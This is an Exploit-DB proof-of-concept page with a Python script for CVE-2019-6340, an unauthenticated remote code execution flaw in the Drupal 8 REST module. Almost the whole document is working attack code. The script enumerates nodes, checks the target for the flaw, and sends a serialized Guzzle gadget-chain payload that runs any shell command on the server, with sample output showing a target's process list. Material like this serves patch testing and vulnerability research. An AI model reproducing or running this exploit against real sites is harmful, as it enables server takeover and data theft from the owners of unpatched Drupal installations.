Drupal < 8.6.9 - REST Module Remote Code Execution

  • 作者: leonjza
    日期: 2019-02-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46459/
  • #!/usr/bin/env python3
    
    # CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
    # 2019 @leonjza
    
    # Technical details for this exploit is available at:
    # https://www.drupal.org/sa-core-2019-003
    # https://www.ambionics.io/blog/drupal8-rce
    # https://twitter.com/jcran/status/1099206271901798400
    
    # Sample usage:
    #
    # $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
    # CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
    #by @leonjza
    #
    # References:
    #https://www.drupal.org/sa-core-2019-003
    #https://www.ambionics.io/blog/drupal8-rce
    #
    # [warning] Caching heavily affects reliability of this exploit.
    # Nodes are used as they are discovered, but once they are done,
    # you will have to wait for cache expiry.
    #
    # Targeting http://127.0.0.1/...
    # [+] Finding a usable node id...
    # [x] Node enum found a cached article at: 2, skipping
    # [x] Node enum found a cached article at: 3, skipping
    # [+] Using node_id 4
    # [+] Target appears to be vulnerable!
    #
    # USER PID %CPU %MEMVSZ RSS TTYSTAT START TIME COMMAND
    # root490.00.0 4288 716 pts/0Ss+16:38 0:00 sh
    # root 10.01.4 390040 30540 ?Ss 15:20 0:00 apache2 -DFOREGROUND
    # www-data240.12.8 395652 57912 ?S15:20 0:08 apache2 -DFOREGROUND
    # www-data270.12.9 396152 61108 ?S15:20 0:08 apache2 -DFOREGROUND
    # www-data310.03.4 406304 70408 ?S15:22 0:04 apache2 -DFOREGROUND
    # www-data390.02.7 398472 56852 ?S16:14 0:02 apache2 -DFOREGROUND
    # www-data440.23.2 402208 66080 ?S16:37 0:05 apache2 -DFOREGROUND
    # www-data560.02.6 397988 55060 ?S16:38 0:01 apache2 -DFOREGROUND
    # www-data650.02.3 394252 48460 ?S16:40 0:01 apache2 -DFOREGROUND
    # www-data780.02.5 400996 51320 ?S16:47 0:01 apache2 -DFOREGROUND
    # www-data 1170.00.0 4288 712 ?S17:20 0:00\_ sh -c echo
    
    import sys
    from urllib.parse import urlparse, urljoin
    
    import requests
    
    
    def build_url(*args) -> str:
    """
    Builds a URL
    """
    
    f = ''
    for x in args:
    f = urljoin(f, x)
    
    return f
    
    
    def uri_valid(x: str) -> bool:
    """
    https://stackoverflow.com/a/38020041
    """
    
    result = urlparse(x)
    return all([result.scheme, result.netloc, result.path])
    
    
    def check_drupal_cache(r: requests.Response) -> bool:
    """
    Check if a response had the cache header.
    """
    
    if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
    return True
    
    return False
    
    
    def find_article(base: str, f: int = 1, l: int = 100):
    """
    Find a target article that does not 404 and is not cached
    """
    
    while f < l:
    u = build_url(base, '/node/', str(f))
    r = requests.get(u)
    
    if check_drupal_cache(r):
    print(f'[x] Node enum found a cached article at: {f}, skipping')
    f += 1
    continue
    
    # found an article?
    if r.status_code == 200:
    return f
    f += 1
    
    
    def check(base: str, node_id: int) -> bool:
    """
    Check if the target is vulnerable.
    """
    
    payload = {
    "_links": {
    "type": {
    "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
    }
    },
    "type": {
    "target_id": "article"
    },
    "title": {
    "value": "My Article"
    },
    "body": {
    "value": ""
    }
    }
    
    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
    
    if check_drupal_cache(r):
    print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
    return False
    
    if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
    return True
    
    return False
    
    
    def exploit(base: str, node_id: int, cmd: str):
    """
    Exploit using the Guzzle Gadgets
    """
    
    # pad a easy search replace output:
    cmd = 'echo ---- & ' + cmd
    payload = {
    "link": [
    {
    "value": "link",
    "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
     "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
     "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
     "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
     "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
     "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
     "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
     "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
     "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
    }
    ],
    "_links": {
    "type": {
    "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
    }
    }
    }
    
    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
    
    if check_drupal_cache(r):
    print(f'Exploiting {node_id} returned cache HIT, may have failed')
    
    if '----' not in r.text:
    print('[warn] Command execution _may_ have failed')
    
    print(r.text.split('----')[1])
    
    
    def main(base: str, cmd: str):
    """
    Execute an OS command!
    """
    
    print('[+] Finding a usable node id...')
    article = find_article(base)
    if not article:
    print('[!] Unable to find a node ID to reference. Check manually?')
    return
    
    print(f'[+] Using node_id {article}')
    
    vuln = check(base, article)
    if not vuln:
    print('[!] Target does not appear to be vulnerable.')
    print('[!] It may also simply be a caching issue, so maybe just try again later.')
    return
    print(f'[+] Target appears to be vulnerable!')
    
    exploit(base, article, cmd)
    
    
    if __name__ == '__main__':
    
    print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
    print(' by @leonjza\n')
    print('References:\n'
    ' https://www.drupal.org/sa-core-2019-003\n'
    ' https://www.ambionics.io/blog/drupal8-rce\n')
    print('[warning] Caching heavily affects reliability of this exploit.\n'
    'Nodes are used as they are discovered, but once they are done,\n'
    'you will have to wait for cache expiry.\n')
    
    if len(sys.argv) <= 2:
    print(f'Usage: {sys.argv[0]} <target base URL> <command>')
    print(f'Example: {sys.argv[0]} http://127.0.0.1/ id')
    
    target = sys.argv[1]
    command = sys.argv[2]
    if not uri_valid(target):
    print(f'Target {target} is not a valid URL')
    sys.exit(1)
    
    print(f'Targeting {target}...')
    main(target, command)